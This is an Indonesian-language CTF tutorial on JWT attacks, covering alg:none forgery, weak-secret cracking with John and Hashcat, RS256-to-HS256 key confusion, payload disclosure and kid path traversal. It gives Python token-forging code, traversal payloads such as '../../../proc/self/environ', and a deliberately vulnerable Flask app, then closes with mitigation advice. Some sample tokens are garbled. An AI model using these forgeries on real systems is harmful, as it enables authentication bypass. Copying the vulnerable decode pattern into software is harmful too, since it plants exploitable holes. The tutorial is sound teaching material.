

JWT Attacks dalam CTF Jeopardy

Apa itu JWT?

JWT (*JSON Web Token*) adalah format token yang digunakan untuk autentikasi dan pertukaran data secara aman.

Format JWT terdiri dari 3 bagian:

HEADER.PAYLOAD.SIGNATURE

Contoh:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9

.

eyJ1c2VyljoiYXNlcCI6InJvbGUiOiJ1c2Vyln0

.

abc123signature

JWT biasanya dipakai untuk:

- Login session
- API authentication
- Single Sign-On (SSO)

Struktur JWT

1. Header

Berisi algoritma:

```
{  
  "alg": "HS256",  
  "typ": "JWT"  
}
```

2. Payload

Berisi data user:

```
{
```

```
"user": "asep",  
"role": "user"  
}
```

3. Signature

Digunakan untuk memastikan token tidak dimodifikasi.

Cara Kerja JWT

1. User login
 2. Server membuat JWT
 3. JWT dikirim ke user
 4. User mengirim JWT tiap request
 5. Server memverifikasi signature
-

JWT Attacks di CTF

Dalam CTF Jeopardy, JWT biasanya rentan karena:

- Secret key lemah
 - Validasi salah
 - Algoritma tidak aman
 - Signature bisa dimanipulasi
-

Jenis-Jenis JWT Attack

1. JWT None Algorithm Attack

Konsep

Server salah mengizinkan:

```
"alg": "none"
```

Artinya token tanpa signature tetap diterima.

Contoh JWT Asli

Header:

```
{
  "alg": "HS256",
  "typ": "JWT"
}
```

Payload:

```
{
  "user": "asep",
  "role": "user"
}
```

Tujuan Attacker

Mengubah role menjadi admin.

Langkah Exploit

Decode JWT

Misal token:

eyJhbGciOiJIUzI1NiJ9.eyJ1c2Vybm9iYXNlcCI6InJvbGUiOiJ1c2Vybm90Lmxxx

Decode payload:

```
{
  "user": "asep",
  "role": "user"
}
```

Ubah Header

Menjadi:

```
{  
  "alg": "none",  
  "typ": "JWT"  
}
```

Ubah Payload

```
{  
  "user": "asep",  
  "role": "admin"  
}
```

Encode Kembali

Hasil:

`base64(header).base64(payload).`

Perhatikan titik terakhir kosong karena tidak ada signature.

Contoh Python

```
import base64
```

```
import json
```

```
header = {"alg": "none", "typ": "JWT"}
```

```
payload = {"user": "asep", "role": "admin"}
```

```
def b64(data):
```

```
    return base64.urlsafe_b64encode(
```

```
        json.dumps(data).encode()
```

```
    ).decode().rstrip("=")
```

```
token = f"{b64(header)}.{b64(payload)}."  
print(token)
```

Dampak

Jika server menerima token:

- Login sebagai admin
 - Bypass authentication
 - Ambil flag
-

Contoh Challenge CTF

Soal

Website menyimpan JWT di cookie:

auth=eyJhbGciOiJIUzI1NiJ9...

Halaman /admin hanya untuk admin.

Solusi

1. Decode JWT
 2. Ubah:
 3. "role":"admin"
 4. Ganti:
 5. "alg":"none"
 6. Kirim ulang token
 7. Dapat flag
-

2. Weak Secret Bruteforce

Konsep

JWT HS256 memakai secret key.

Jika secret lemah:

secret

password

admin123

maka bisa di-bruteforce.

Cara Kerja

Server:

```
jwt.encode(payload, "secret", algorithm="HS256")
```

Attacker mencoba menebak secret.

Tool

John the Ripper

```
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
```

Hashcat

Mode JWT:

```
hashcat -m 16500 jwt.txt rockyou.txt
```

Setelah Secret Ketemu

Misal secret:

secret123

Maka attacker bisa membuat token admin.

Python Exploit

```
import jwt
```

```
payload = {  
    "user": "asep",
```

```
"role":"admin"
}

token = jwt.encode(
    payload,
    "secret123",
    algorithm="HS256"
)

print(token)
```

Contoh Challenge CTF

Petunjuk

- JWT memakai HS256
 - Secret sangat lemah
-

Solusi

1. Ambil token
 2. Bruteforce secret
 3. Generate admin token
 4. Access /flag
-

3. JWT Signature Confusion (RS256 → HS256)

Konsep

Server salah mengubah algoritma.

Awalnya:

RS256

menggunakan public/private key.

Namun server menerima:

HS256

dan memakai public key sebagai HMAC secret.

Ini fatal.

Cara Exploit

Server

Awalnya:

```
jwt.decode(token, public_key)
```

Tanpa validasi algoritma dengan benar.

Attacker

1. Ambil public key
 2. Ubah:
 3. "alg":"HS256"
 4. Sign token menggunakan public key sebagai secret
-

Dampak

Attacker bisa membuat token admin.

Contoh Payload

```
{  
  "user":"asep",  
  "role":"admin"  
}
```

4. JWT Information Disclosure

Kadang payload JWT berisi informasi sensitif:


```
{  
  "username":"admin",  
  "password":"admin123"  
}
```

atau:

```
{  
  "is_admin":false  
}
```

Karena payload hanya Base64, bukan encryption.

Semua orang bisa membaca.

Cara Decode JWT

Linux

```
cut -d "." -f2 token.txt | base64 -d
```

Python

```
import base64
```

```
payload = "eyJ1c2VyljoiYXNlcCJ9"
```

```
print(base64.urlsafe_b64decode(payload + "=="))
```

5. JWT Kid Injection

Konsep

JWT header memiliki field:

```
{  
  "kid":"key1"  
}
```

Server memakai kid untuk memilih secret key.

Kadang server rentan path traversal atau command injection.

Contoh Vulnerable Code

```
open("/keys/" + kid)
```

Exploit

Header:

```
{  
  "alg": "HS256",  
  "kid": "../../../dev/null"  
}
```

atau:

```
{  
  "kid": "../../../proc/self/environ"  
}
```

Tujuan

- Membaca file
- Bypass signature
- Remote Code Execution

Tools JWT untuk CTF

jwt.io

Website decode JWT:

<https://jwt.io>

jwt_tool

Tool populer untuk pentest JWT.

Install:

```
git clone https://github.com/ticarpi/jwt_tool
```

```
cd jwt_tool
```

```
pip install -r requirements.txt
```

Contoh Penggunaan

```
python3 jwt_tool.py <TOKEN> -C -d wordlist.txt
```

Alur Penyelesaian JWT Challenge di CTF

Langkah Umum

1. Cari Token

Biasanya di:

- Cookie
 - Authorization header
 - LocalStorage
-

2. Decode

Lihat:

- role
 - username
 - alg
 - kid
-

3. Analisa

Cari:

- alg:none
- HS256

- secret lemah
 - role=user
-

4. Manipulasi

Ubah:

"role":"admin"

5. Kirim Ulang

Gunakan:

- Burp Suite
 - curl
 - browser cookie editor
-

Contoh Challenge Lengkap

Source Code Vulnerable

```
from flask import Flask, request
```

```
import jwt
```

```
app = Flask(__name__)
```

```
SECRET = "secret"
```

```
@app.route("/admin")
```

```
def admin():
```

```
    token = request.cookies.get("auth")
```

```
    data = jwt.decode(
```

```
        token,
```

```
SECRET,  
  algorithms=["HS256", "none"]  
)
```

```
if data["role"] == "admin":  
    return "FLAG{JWT_PWNED}"
```

```
return "Access denied"
```

Walkthrough

Token Awal

```
{  
  "user":"asep",  
  "role":"user"  
}
```

Exploit

Header:

```
{  
  "alg":"none"  
}
```

Payload:

```
{  
  "user":"asep",  
  "role":"admin"  
}
```

Hasil

FLAG{JWT_PWNED}

Mitigasi JWT Attack

Jangan gunakan alg:none

Batasi algoritma:

```
algorithms=["HS256"]
```

Gunakan Secret Kuat

Minimal:

- random
 - panjang
 - tidak mudah ditebak
-

Jangan simpan data sensitif di payload

Karena payload dapat dibaca semua orang.

Validasi signature dengan benar

Jangan percaya header dari user.

Kesimpulan

JWT Attack sangat sering muncul di CTF Web Exploitation karena:

- Mudah dimodifikasi
- Banyak implementasi salah
- Banyak developer salah konfigurasi

Jenis JWT attack paling umum:

1. alg:none
2. Weak secret bruteforce
3. RS256 → HS256 confusion

4. Information disclosure

5. kid injection

Di CTF, tujuan akhirnya biasanya:

- Menjadi admin
- Bypass login
- Mendapat flag
- Akses endpoint tersembunyi